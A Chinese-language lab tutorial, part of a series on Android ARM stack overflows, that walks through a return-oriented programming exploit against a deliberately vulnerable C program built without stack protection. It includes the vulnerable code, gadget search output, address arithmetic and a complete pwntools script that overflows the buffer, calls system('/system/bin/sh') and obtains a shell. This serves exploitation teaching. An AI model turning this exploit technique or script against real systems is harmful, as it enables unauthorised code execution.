Android 栈溢出攻击—[3]ROP 浅析

在缓冲区溢出攻击攻防发展过程中ROP技术作为对抗XN的利用技术，一直发挥着重要的作用，在很多漏洞中其都是关键的攻击手段。本文通过一个简单的例子来对Android的ARM平台下ROP技术做一个简单的分析。

环境

• ubuntu 14.04:调试平台

• AOSP Prebuilt：AOSP仓库包含预编译好的工具链，用里面的GDB来对C程序进行调试。

• LG Nexus 5：运行C程序的测试机。

代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include<dlfcn.h>

void printsystemaddr()
{
void* handle = dlopen("libc.so", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
    fflush(stdout);
}

void mPrint(char* str , int len)
{
    write(STDOUT_FILENO, str, len);

}

void function(char* str) {
char buf[128];
strcpy(buf , str);
}

int main(int argc, char** argv) {
char buf[256];
    printsystemaddr();
    mPrint("stack overflow example !\n", 25);
    read(STDIN_FILENO, buf, 256);
    mPrint("call vulnerable function !\n" , 27);   
    function(buf);
}

同样，在编译程序时通过在Application.mk并加入APP_CFLAGS += -fno-stack-protector选项去掉栈保护防御机制：

APP_ABI := armeabi
APP_CFLAGS += -fno-stack-protector

通过ndk-build编译后推送到手机中准备进行调试，具体过程详见搭建Android系统C程序调试环境。

分析

本例中栈溢出漏洞和上一篇的一致，唯一的却别是本例中的程序没有实现运行shell的system函数调用，不能够简单的利用其获得shell，这里不再描述缓冲区溢出细节。本例的利用仍是获取shell，思路是定位进程中libc.so中system函数以及字符串“/system/bin/sh”的位置，并寻找合适的gadget来实现调用system运行shell。

定位system函数和“/system/bin/sh”

虽然，我们的程序编译时默认没有开启ALSR，但程序使用的系统动态链接库会受到ALSR的约束，每次重新启动程序后，libc.so的地址会随机生成。所以，为了简化这里通过printsystemaddr函数来泄漏libc.so中system函数的地址，并根据system的地址来定位字符串“/system/bin/sh”的位置。

这里假设printsystemaddr函数输出到控制台的system函数地址是0xb6edb0e1。通过IDA等工具可以获得libc.so中system函数以及字符串“/system/bin/sh”的相对位置：


这样就可以计算出程序运行时关键的元素的内存地址：

system_addr = 0xb6edb0e1
#这里注意system_addr是Thumb模式下的地址，而system_bin_sh_addr是ARM模式下的地址
system_bin_sh_addr = system_addr + (0x0003F8AC - 0x000250E0) - 1

寻找gadget

为了调用system函数运行shell，我们需要对栈进行布局来伪造函数调用时的栈帧。因为已经有了system函数和字符串“/system/bin/sh”的地址，我们只需找到一个合适的gadget把“/system/bin/sh”地址保存到R0寄存器即可。

这里使用ROPGadget工具在libc.so中寻找：

root@Tangxx:~/ndk_workspace/study-ROP/level7/jni# ROPgadget --binary=./libc.so --thumb | grep "ldr r0"
...
0x0002df38 : add r2, sp, #4 ; str r0, [r1, #-0x8]! ; movs r0, #0 ; mov r1, sp ; blx #0x210f8 ; cbnz r0, #0x2df5c ; ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}
...

在通过IDA获得指令的相对位置：

最后就算得到gadget的运行时位置：

gadget_addr = system_addr + (0x0002DF48- 0x000250E0)

布局栈

有了上述关键的信息的地址后，就可以布局溢出后的栈来模拟调用过程：

这里需要注意每次执行gadget后sp的变化。

exp

#!/usr/bin/env python
from pwn import *

#p = process('./level7')
p = remote('127.0.0.1',10001)



system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)

p.recvuntil('\n')

#.text:000250E0 EXPORT system

#.text:0002DF48 : ldr r0, [sp, #4] ; pop {r1, r2, r3, pc}
gadget_addr = system_addr + (0x0002DF48- 0x000250E0)

#.rodata:0003F8AC aSystemBinSh DCB "/system/bin/sh"
system_bin_sh_addr = system_addr + (0x0003F8AC - 0x000250E0) - 1

payload =  'A'*132 + p32(gadget_addr) + 'A'*0x4 + p32(system_bin_sh_addr) + 'A'*0x4 + p32(system_addr)

p.send(payload)

p.interactive()

运行利用，

root@Tangxx:~/ndk_workspace/study-ROP/level7/jni# make exp
python /root/ndk_workspace/study-ROP/exp/level7.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
system_addr = 0xb6f880e1
[*] Switching to interactive mode
call vulnerable function !
$ ls
acct
cache
charger
config
d

参考资料

http://drops.wooyun.org/papers/11390

---